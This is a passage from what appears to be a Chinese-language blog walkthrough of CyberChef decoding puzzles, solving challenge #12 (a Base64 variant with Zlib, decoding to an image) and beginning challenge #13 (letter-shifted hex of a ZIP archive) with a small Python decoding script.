VRbcd3ePgjo2RlxiNUHMwwwzvuOPPfd/WaHxstNPPb399PJIGd2PwNqqWmOgAYQSSOH1AXLhhBCuhRRSqqqppJPRMC3CqayzzRkXXnnWDtxfffbQUEQSu8oaFMY7b1lbbrpqRy877rd94Cud1HTQo5Swg6CIjEAFm8tVjjbaQsQRRZXLOkwzz51jPeHQ9vvscdzUIT6cvYIKKQHL9GwxzD11jiDTRhhhjgAiiC00jYCPeRu2NEcXCX2avuSTThfxzDDDPeeddb8ff988rnoADTHEjUUdZeMm1iFHVGii4gdquuqryX7VHeOhrrbbbKuvXNHrhgeFtp9sJ8ZLhWkq6Tnvrzzq7adqKxGLWNDy5DOpnnzzrCqvvvvivfjjxZM4nD/wNyKJJwvh8kQQQ6/rTvzqqajSdM4JuNVXXb3nn145buXqrrxzVuWW5t2TdjjJJpyx8nxv5lBKO.5OQwwx5Ph2yi066svc1XvsMDTUUkzunEsH8vh1nCV99vqovzSsp0oxxRFHXb3lrLLLyTUeRezoOInzNNOa/ltsk3hY4HDI0SgNffp11Xb2zSpjTrDbbLSS9khparHGGRq22ovculR9hXVFVtBDDhal2wS0MKISPfXVcjblLCkRTAOva4DUlfklxxlnylrmddhiqhKKX1Da7ReQQYsnnHFyhwrnp642CqGXXHPmpbPuVGIydrxQSSKJTdnORwDDIgj/gqIwyItNSMiMdzHNp15.sYozlBd.ipTdQv5qlwo5KxfzvPTTxbAypenE0dgmFekQZ6yqNrnG5anyQGYmrZU1S.TxsMEHHb/HHXZZPdiax2gStZpsNL/lPPTRRds7bl582WPaHRM4lUD0/9Qp8NITOx3iiyralsWhgHzyy8ATosWafvzyqUopp3.hxtCXXnvOizuMIlX5MG7jlUFpkldjOp9iVBSUTqWfOA8jGK8m.OON5T4B6al6Nh9XnvXuu8ELLrmlzvTvvfjDnHzzz9Zs2Frq1j7bAK5l7dpqqaZyA8GyUoNb.75TLLTRtLTwNd7Y2OAH5rzwwRujWrdb/wY2WVgZZV.r00jGaaiiuHvtt/AzG0YbUt6/2NOzW/30WwaRXcy0dsn4Yc30FmOJWONIpeZQnPxDiMXlkfroo2ADyP82wHWdvqqJMmeTp5f3mV54xC30Ek0nAB.L28u62B755rrY3p1OW5unyC89Sx5Brl5UH4ell.FxpJJLSLvo/LNmH2vo2xt5cgzVbi7v05Tu5Ug.0I54sjv33pysoIQTjSgJNVaWTkwQCB09D/M4qckwu2y68DuwueefSbQGWMK8lQYyzzrrrrogYuIWoFGqBzZH/wd4sixkckt55LKI3mmA2ye6GmSKfAnKftUbu5gYVBm33psMnEyF3bh5a/zjLbHFFPokFBkllZbMG4NJdXrMm33K3XPyHc.rsyr77tzowlOP9SM9GuSQQccDIo0A61V7qQxGmt50AuKwJpxxRNF5OdxB5EAKozHSSyxt8oRebsipDTpqnXbbx4p1zmSU5W38cWpkFtZPiqmAVCIU5nPMW35fZukRx6RTTjb3jTHGGsCsccfOXzYipWz74qgeavckNOolK59cEsnzCyuskzR7GubwK8AkB00uA07U4O6zslZVjKLhuYYzMED6kFHeGdx/U3YuwwknzIMCAIUAJLx8PFRBv.Ugg7J7ZsaA/NM/n2HAsg0.01iF0Esu.9jRg550lf/3YBoUiqPIfIokBcZJSES/PklACVqRZo5.cgWTqLa25Osgdcb7UaTlutADmNGu0FofTl2XHZ6FSAnWVT1W4F90Xc2pnnnny2KDJ0GOeb/6sTf11nxo/SImSS2zNy.X0ZWcH1FJSKxgc7JlN2SJmWSZLba1rFMAl1E9BhOB9vzwoZgtqSJms63yMk4HH/k6LTdYy1pPG49jgHMBVH1KHAEqYx6aaqnW5qDmsfro9nCJJlJBW/R20cg5yP3NcMzFrsMTTbUTk2kxgFPMXdvB1083J0GOg.0l.D5TYYgiuPzznHTTiB344wrz4Mg6z37RFPNcoBQNrnn9KA1OVDUX87qIudunz4V9tdo/.kPsD/Wbn2IgkWmch/r03uidnI52cP/VgEIPNZURsFX4Rg8DRXTfCSL9TdNG1VOy37uQYYcdPslFOdxB5EBtceagnwL4V7Ih39CDDTOM3p6ak3D5WD3aksAkUNQ76RtBrm8jrrvvnPQZkWYAOAtfjv7yOO87S/z42zq0nIxcXQ2GVH0DlElNiJDsqFcKggGWlRVZozGzzzqjtLt0bbMEV1YdXAZWDa7HkJX/GhuTIhh3InWtAW5X6a/LWTYOEMFpWAY8QF2aatmMk7UsMgYKENjcyMsRgqnp5RhggsorPxdC59Q7WtyZZ7UaJ1W16hmtwnnZl9r5U4HEKza94552ZRogUgW24rYVqWOTTD90kCxEF3JVbQ9J/bYqzcP3VkL2F3CJxqPPC6IX93DtdBGfH1G3.dfj2em7Q2DIAA3Pk4zKsaDKA3kY/70aW0MnfRCLLrbZZKsiEBmyi6IEe1jjj5BZGtBNIuoQW/jQ5sUFr5K6/0keiBQg6MellW6gWYEHaltAx0kmZf.M6D9d1wOaeaX8vgthXf1BF3LFV7IVD9L5HdkqF2nWyXH/XdgF3lhXaXMNRhVV0sxmqnkLldP2DfD3g8kQeHlHmVi9JIbhgmOOWgM.kXtDB/LpCRgANgQ3MVv/bLLt6.8MNl/.i8BHlcXl1jiFKKT0nGRZA934zqQQ39JTKPwooJEIuqDf0iAOTa4mQdTlctzUzI16ksDpkGmmsPnHGXylwf.FEgG5ZWigfZXwHAHq7w32LRgeagUkSqGO/WBVzgTONDvyvD3xQvhZHNJVUxV.mvsX128jyUsaFFM4Rj4cTbMpsMsUFHGNhEiz9muKj7FLzd.FnzvtttxypwuU6HO6HVeuDapV8v6oJS4EkhLAgIlSH8NVker1kYWvJ5ZjZZAelpEy8TIe2orNczNM5JWwgP1Vpf3vZT9uAlMcHBUdcgZQDyO00dz/iX5ff9BuulBhIRLGZBqAqAHAiAEuWBKAC1tQSK4mVPAgdcY75/QQTNLyWHLC2jo0DZJ32q8BVQ0G9Kmsiv3oJVJBqHcEfwLWmPIDl5TVxWAUpl9n.Hhh3cmWIq5KPxZM27B4WbpanAj8kTAdD3D8aqJY9VTSIRNbfSq9lU.iu1nFJBHbMZQHMApawsd3Y9YjZeeA2SAR/X6XlbUr6FGQB9BYduHdjwlbFSpLpWxBB95l0KCYv3pKHyd8Sq/M07CJisnTOeihtZqLPDe79KIxM/r1AA3uMJR.hB7Df1nVhE8Iav9OBGZsYUU5u4ydfO6dRYxH8.U6P4O.cMdldwIGUNaMza6dvsFSy5bJRx0tg4mVpib2K5H0mGF3B93MM4Im8o/S7wcfTwU6Qme1XXl7g46Wlid2KI7fE73ceg6VVGjaQa7t03uaT428FJCJxqMtdL0gkWSZLbZhNEg4djjkkXVqrJUf22ogsWnex/jODtPM4GB4MWbfbfD.I0lHv/H1NDz4t6W9kIFH42D1xwq0Z6pdmVuH1YIHTNxy3FBfl0oUocd22tAq3ZhPWCajp/gf8yJiJHFZmxlHoMEJ3uiF7PCSVitm3aIgHml4jBzeV2gw35/Vqz.wQGFTTTJJpsMfxdYl9mh58Yz8I3PSf4UmWrJ8booN.oKWeOXDlIGHKNe99/VJlYXgh7i7dalTnseacjMfutQaaj9iS1CrxzPPPywDHqFHrWaxQAmmFi3adVoNLvXM9S2dkScNlV7LvGRVaHWIUUS4QI4cXQJEgZ2ClpBz2Iyx8dc6x4MmnENF.dj/X8dZltjL20a9MBJraAyK5GQ9MjPCWFHFV4wLcIQUO5WWVjfUmW3S.bKS6dckrFAAnmvrVVhiu9ebVc3/96yt6K3K77eeQ2XVGZaKKqst5zELKYvAX4riiGfjnEum36uoImeTZ5eJWGMg7fGT7RipQQcAekHlBeGge4/0MM8aDyRR0dYJHLMW7Sgu65xW6tWkS0wP0xhZNiyFsWslmZl3BB4j26Olxl9MXjIrHnEFF4gHBj2wi82hgQhaJqu9FpJ9IxbWJBLGZ6p9lB8.c4IXU.KQgX9rK5X.mmyzv.xRsD96iir1TYAxgE84ZcjMNvPc3NK1yGS37w5a8SLBAY8kdTNN2op3Ms0ya4RdeWeOg01X7UvbCCBAr/xiKQEtMmdZXDF2B/KpLpaz9/BBlXKoH6Px8IIoAOQEgtFpeNAD.dtpWnu9tuCJTV8KVzVBlgEzzzZDPx30pANCp2YoNEWoSYxHO2JV7qMeBHExVhOSccj1IVP/8iz.3I25hI//zcxkMa4o.3W9SQevek7Aa8xhtwG3MlM.OkgRUSicxFHFN92fqJq65GxZkf/Ppsh2IlIC8JlNV0rUXwL29Vqoq/oHHJLSalpY8FkteYtgHkeTZ5eJWONkQg0BVGUUHgTu.w4QH5vVVMpAzUGMsgd1P19Nl36g2/mf5E4dcE//T3jThDUG2zCsEl3H7.iMtQxJF/Bx3ygNSMQ54L.jH1rpp33FODKlczPNmRggQbnDr.FaGElDigOst0oOKIhH99zMNtMTpY2g6mGMgbaXvSXD927kMA44jkK0gvj4ZKAiDC8w04n5VMz.kZL6a4EiAMhWv1DSaJ6ClXHV.aIwyJt8SKAwIjig9StZMu/JoNFZ0GA9wUtDIdg3mcFGuVVdJHFlyXDPda5vxJEoQQo.3XAgjC4J5nMKIYEHPKwPd51AYUTiCSMcfUcV/fHJTV8CHRgwMJ550dhp5K8FNokVm0pafeYWeZQhHI1YN/oH26ggNYF.6lHcF2JLhjBguW8MwUtCBL4GXstf5Q.K.0NETBggo4PeNA1WjmI6BtPgd/mH9fhHV.pi3D9bx.FrKeG67UiYdUlQLAPUtSE0ikRGS4ZNqNI18FmeQ1Kr.KJUEaJl67WM33stYDfSJXVmKcB76MJDOby7ZGAwPco3YLQWX//0MJ0YlQKE/y8MDcBMlXdFRZBiH1G3dq3Ms6aZkJL5Sl5mz7Y3rK95s91HHXjtVNkURTdP8u97Hf0G5o6MEM1EhpWuD2gHZUg0mLYj4knWjFX9r63XNG2iXtCl3WT07AtMsXgler8eO6fZlnI.b3c8rs5MgZUhqV8fA5z5UVMSP1.LXRpmX5ILUEQ12ujN8kSsm76sgx1W3zggL5HtQpstej/A8KyA2LJUDWjfguZXc3LFN5oih/eNw8QTAjSm.9BVlpdWUR4dMuFJoQG47RiavF7BRb07zgZacgea6LHDwPlhma53acDZWLI0oExHtUn2TOjx7/mP7fsdPmnan8sugFC7HFJAp0hNBD5vOtVWkuCU6NUIEQ1rqMIn0BXpqOH8V2eA/jTE33qGZPc6dfn1MXympwrPUgxJ/Dztnrywqt.zMu6CXnhbCkLjF0FlmOMZV.FyNHhJZAe6GNT74U3ZUcE3VYa1a05QK9U1mbtv9cJ13R52Rr3/I1MK2RcB2MY9YgIRoRbHBYvVaAcbhPwIHJno1mMRGpWs21D22pVWQW9qVsbRqUjr4Ni1cVzUhFj/2Rk65og69isQ0qBeKA0kBhfsMD7ZIEYjNgI0Vxi4Dgk772sPtTqCamposK9DSv2e65d6K9RkrS5W8TfhCME8HCnCB7t3X40Bl07aMklL9ZMrBU4Yj21Nj18PdQaCCQTmkv8RTEQ5B//7n3z2Nt2Mmn0ar9Mn7XuACMWRhApB92u6IPAKKY.yP4UzrDhgYCnr5wYvxVaTqu7LJctIbWbZnKCSoaShj4JX6DjPQuZx9WOOsAH0GtvKzzYgSwUaNMn2ma3K8pnfn8KK45zI2w5/NXLPdbkjhJyOq9FMjb/ykFD/6EN05PUf97NGyT2gxumlthXalgd7T8rR3xOHTa9ZMpD4TAesM1tUTUiHVPZYHzl38xXV5mO9dbPL2xAg5FVfGJqzvBvCRq.hkakP/hn3a91cAn0MW7b.Sq8eNB9UyNvmOEQ5r1oA0AEOUxuGLHYEWn5cmLhHC9O9HpbTNjRj7vMg5WHq16nc7tXBIryycCXRH6FAIYKzSMVNb97VsGffaqLph5x5G028PR7BTEuVFjrd5rZrfN2LwJv2I05eqd3WyMKTVFM5ucHc6YMXfsk6IUERWoHNXt1mDJW3QKylno9FF9xB8IQentHmtX3DvPCdMu.RvKZt61dU.BiwCBSIAJ8pH5bhJnKTrjcywmllUpW1MNIrFzKYbzFKLHfVDMBBB5I057LlzkZMf/9iEbPPa67Ng1ZqXoYMekS/VocWoBQ6t9bvSfiQTOIQjJpjjIw2aYF.ceZ7fJZnLL1z25x4kXJbPVlWE1.pqqwbpJkANGw0ZEXo3P5GJwdF0Nuy9.6Wo6q.F7AuF16/vYX0mYHA.TTKsC9U7.vySEaaN6nuMWwH6.O1y/ZWJQ6TByvZMjVMY9tEXhuihxsb.YoW6B5IdBNILIF./2F./2F./4cX6B3I4pdZ9.6W6.6W6.6Wo0E02YpBOYrJFEF2E.F2E.F2c1M02YqpcJL46W.06W.06W.0HG6UoRGYpZFRF2.2F2.2F2.2OWAUoJEPKaIg.W6U.W6U.W9E7.6GHIpeHRJ3/2F./2F./2GUBU6GHPKVJQMW6.6W6.6W6.7B6W1Fp8HKJ3p2E.F2E.F2E.Fe6m1FJ/hONGk06W.06W.06h.Y.V7BHKdBpII2F2.2F2.2F8.q.V7BhO3JlW6U.W6U.W6U.YoW6B5IdBNILIF./2F./2F./4cX6B3I4pdZ9.6W6.6W6.6Wo0E0zkSwLWs6QGUhf...../7FIt2fY7UUU==&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;和Base64一样的“=”结尾，但看起来不是常用的字符集（A-Za-z0-9+/=）&lt;/p&gt;&lt;p&gt;CyberChef识别到了可能的字符集：./0-9A-Za-z=&lt;/p&gt;&lt;p&gt;解码之后的信息是一个PNG图片：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1803&quot; height=&quot;529&quot; src=&quot;/_astro/image-20260308223724650.zmRztHlS_Z1YvsGl.webp&quot; /&gt;&lt;figcaption&gt;image-20260308223724650&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;渲染就能得到结果：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;&quot; /&gt;&lt;figcaption&gt;img&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Congratulations, you have completed CyberChef challenge #12!&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;This challenge explored Base64 variants and Zlib compression. To learn more, visit [wikipedia.org/wiki/Base64#Implementations_and_history_and_wikipedia.org/wiki/Zlib](https://en.wikipedia.org/wiki/Base64#Implementations_and_history_and_wikipedia.org/wiki/Zlib).&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The code for this challenge is 258bf91c-e19d-4de7-92dc-5fd2bb6ad1b2.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;(OCR might be useful here!)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;The next challenge can be found at &amp;lt;https://pastebin.com/hr7n8stV&amp;gt;.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Recipe: From Hex —&amp;gt; Zlib Inflate —&amp;gt; From Base64（./0-9A-Za-z=） ---&amp;gt; Render Image&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;#13 Hexadecimal &amp;amp; Zip &amp;amp; Decimal&lt;a href=&quot;#13-hexadecimal--zip--decimal&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;50 4o 03 04 14 00 00 00 08 00 08 87 71 50 2s 44 1r qr 41 01 52 45 4q 4s 56 45 00 00 2o 04 00 00 0n 00 00 00 64 65 6r 61 72 79 2r 74 78 74 9q 93 7q nr p3 20 0p 52 45 4q 4s 56 45 p3 ns 04 05 on p2 sq 0s 56 ss s2 o1 52 r9 sq 31 3q 69 0p 6n 52 45 4q 4s 56 45 8p r3 84 70 7r 56 nq 55 n3 np 5n 9n r6 or 26 q0 n9 n1 o9 5p 52 45 4q 4s 56 45 qs ps 32 1r 66 1q no s7 q5 8r 55 0s 10 p6 p7 3r 4o 1p os o4 52 45 4q 4s 56 45 np 20 73 sn 7r 61 86 r0 3o nr 08 5r 60 r1 42 4n 33 37 oo 21 52 45 4q 4s 56 45 12 73 pr 91 4n 21 6s 22 p9 0q r3 1r nr p9 q8 5p 43 6o 20 7r 17 22 0p rp 8s 9s 85 0p 3n 48 52 45 4q 4s 56 45 35 4p 5o 92 69 p8 4p 4s 0r n0 sn o5 o7 27 9n 5p p5 o4 o1 95 52 45 4q 4s 56 45 ns 9s 1p p0 98 00 8o r5 16 np 72 n0 26 rs 4n 4s q4 28 o8 95 52 45 4q 4s 56 45 76 q7 34 o1 5n 49 0n 88 np qp 54 5n r5 5o q2 8n sn p8 o5 q5 09 s6 3r 24 68 po 69 52 45 4q 4s 56 45 0n r0 0o 21 38 r1 91 25 s1 52 69 66 83 74 59 r4 52 5s 45 7s s7 52 45 4q 4s 56 45 00 7o 91 s1 23 61 rr 39 s8 9s 4o qn s9 03 6r 65 22 qo 8o p5 52 45 4q 4s 56 45 38 56 1s sp 13 70 s8 o9 04 qp 90 40 01 6n 3p qn n6 s3 63 5s 52 45 4q 4s 56 45 2n pn 5r 12 pq 40 p9 ro 1q 44 04 8o 15 s5 sp 23 59 o7 98 pq 52 45 4q 4s 56 45 63 97 s3 53 2r 2r 1n 77 1s 0s r1 55 29 qs pp qr s3 9n p7 93 52 45 4q 4s 56 45 s3 r7 pn 80 2p ss 4n 47 06 r1 04 q5 1o p5 2r 30 so p7 sn 70 52 45 4q 4s 56 45 ro 5n q1 2s 2p 6o p2 n8 17 13 9n 4n 21 5n 3s 6s 50 4o 01 02 52 45 4q 4s 56 45 14 00 14 00 00 00 08 00 08 87 71 50 2s 44 1r qr 41 01 00 00 52 45 4q 4s 56 45 2o 04 00 00 0n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 65 6r 52 45 4q 4s 56 45 61 72 79 2r 74 78 74 50 4o 05 06 00 00 00 00 01 00 01 00 38 52 45 4q 4s 56 45 00 00 00 69 01 00 00 00 00&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;我下意识的以为是Hex，但是观察之后发现出现了一些奇怪的字符，Hex中不存在“o”，“s”等字母。&lt;/p&gt;&lt;p&gt;经过观察发现，Hex的“a”-“f”都不存在，而出现的字母是“n”-“s”。我猜测是对信息的字母进行了移位。&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;enc &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;50 4o 03 04 14 00 00 00 08 00 08 87 71 50 2s 44 1r qr 41 01 52 45 4q 4s 56 45 00 00 2o 04 00 00 0n 00 00 00 64 65 6r 61 72 79 2r 74 78 74 9q 93 7q nr p3 20 0p 52 45 4q 4s 56 45 p3 ns 04 05 on p2 sq 0s 56 ss s2 o1 52 r9 sq 31 3q 69 0p 6n 52 45 4q 4s 56 45 8p r3 84 70 7r 56 nq 55 n3 np 5n 9n r6 or 26 q0 n9 n1 o9 5p 52 45 4q 4s 56 45 qs ps 32 1r 66 1q no s7 q5 8r 55 0s 10 p6 p7 3r 4o 1p os o4 52 45 4q 4s 56 45 np 20 73 sn 7r 61 86 r0 3o nr 08 5r 60 r1 42 4n 33 37 oo 21 52 45 4q 4s 56 45 12 73 pr 91 4n 21 6s 22 p9 0q r3 1r nr p9 q8 5p 43 6o 20 7r 17 22 0p rp 8s 9s 85 0p 3n 48 52 45 4q 4s 56 45 35 4p 5o 92 69 p8 4p 4s 0r n0 sn o5 o7 27 9n 5p p5 o4 o1 95 52 45 4q 4s 56 45 ns 9s 1p p0 98 00 8o r5 16 np 72 n0 26 rs 4n 4s q4 28 o8 95 52 45 4q 4s 56 45 76 q7 34 o1 5n 49 0n 88 np qp 54 5n r5 5o q2 8n sn p8 o5 q5 09 s6 3r 24 68 po 69 52 45 4q 4s 56 45 0n r0 0o 21 38 r1 91 25 s1 52 69 66 83 74 59 r4 52 5s 45 7s s7 52 45 4q 4s 56 45 00 7o 91 s1 23 61 rr 39 s8 9s 4o qn s9 03 6r 65 22 qo 8o p5 52 45 4q 4s 56 45 38 56 1s sp 13 70 s8 o9 04 qp 90 40 01 6n 3p qn n6 s3 63 5s 52 45 4q 4s 56 45 2n pn 5r 12 pq 40 p9 ro 1q 44 04 8o 15 s5 sp 23 59 o7 98 pq 52 45 4q 4s 56 45 63 97 s3 53 2r 2r 1n 77 1s 0s r1 55 29 qs pp qr s3 9n p7 93 52 45 4q 4s 56 45 s3 r7 pn 80 2p ss 4n 47 06 r1 04 q5 1o p5 2r 30 so p7 sn 70 52 45 4q 4s 56 45 ro 5n q1 2s 2p 6o p2 n8 17 13 9n 4n 21 5n 3s 6s 50 4o 01 02 52 45 4q 4s 56 45 14 00 14 00 00 00 08 00 08 87 71 50 2s 44 1r qr 41 01 00 00 52 45 4q 4s 56 45 2o 04 00 00 0n 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 65 6r 52 45 4q 4s 56 45 61 72 79 2r 74 78 74 50 4o 05 06 00 00 00 00 01 00 01 00 38 52 45 4q 4s 56 45 00 00 00 69 01 00 00 00 00&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;dnc &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; c &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; enc:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;char &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; c&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;110&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ord&lt;/span&gt;&lt;span&gt;&lt;span&gt;(c) &lt;/span&gt;&lt;span&gt;&amp;lt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;115&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;char &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;chr&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ord&lt;/span&gt;&lt;span&gt;&lt;span&gt;(c)&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span&gt;13&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;dnc &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; char&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(dnc)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;写了一个脚本获取正常的Hex信息：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;50 4b 03 04 14 00 00 00 08 00 08 87 71 50 2f 44 1e de 41 01 52 45 4d 4f 56 45 00 00 2b 04 00 00 0a 00 00 00 64 65 6e 61 72 79 2e 74 78 74 9d 93 7d ae c3 20 0c 52 45 4d 4f 56 45 c3 af 04 05 ba c2 fd 0f 56 ff f2 b1 52 e9 fd 31 3d 69 0c 6a 52 45 4d 4f 56 45 8c e3 84 70 7e 56 ad 55 a3 ac 5a 9a e6 be 26 d0 a9 a1 b9 5c 52 45 4d 4f 56 45 df cf 32 1e 66 1d ab f7 d5 8e 55 0f 10 c6 c7 3e 4b 1c bf b4 52 45 4d 4f 56 45 ac 20 73 fa 7e 61 86 e0 3b ae 08 5e 60 e1 42 4a 33 37 bb 21 52 45 4d 4f 56 45 12 73 ce 91 4a 21 6f 22 c9 0d e3 1e ae c9 d8 5c 43 6b 20 7e 17 22 0c ec 8f 9f 85 0c 3a 48 52 45 4d 4f 56 45 35 4c 5b 92 69 c8 4c 4f 0e a0 fa b5 b7 27 9a 5c c5 b4 b1 95 52 45 4d 4f 56 45 af 9f 1c c0 98 00 8b e5 16 ac 72 a0 26 ef 4a 4f d4 28 b8 95 52 45 4d 4f 56 45 76 d7 34 b1 5a 49 0a 88 ac dc 54 5a e5 5b d2 8a fa c8 b5 d5 09 f6 3e 24 68 cb 69 52 45 4d 4f 56 45 0a e0 0b 21 38 e1 91 25 f1 52 69 66 83 74 59 e4 52 5f 45 7f f7 52 45 4d 4f 56 45 00 7b 91 f1 23 61 ee 39 f8 9f 4b da f9 03 6e 65 22 db 8b c5 52 45 4d 4f 56 45 38 56 1f fc 13 70 f8 b9 04 dc 90 40 01 6a 3c da a6 f3 63 5f 52 45 4d 4f 56 45 2a ca 5e 12 cd 40 c9 eb 1d 44 04 8b 15 f5 fc 23 59 b7 98 cd 52 45 4d 4f 56 45 63 97 f3 53 2e 2e 1a 77 1f 0f e1 55 29 df cc de f3 9a c7 93 52 45 4d 4f 56 45 f3 e7 ca 80 2c ff 4a 47 06 e1 04 d5 1b c5 2e 30 fb c7 fa 70 52 45 4d 4f 56 45 eb 5a d1 2f 2c 6b c2 a8 17 13 9a 4a 21 5a 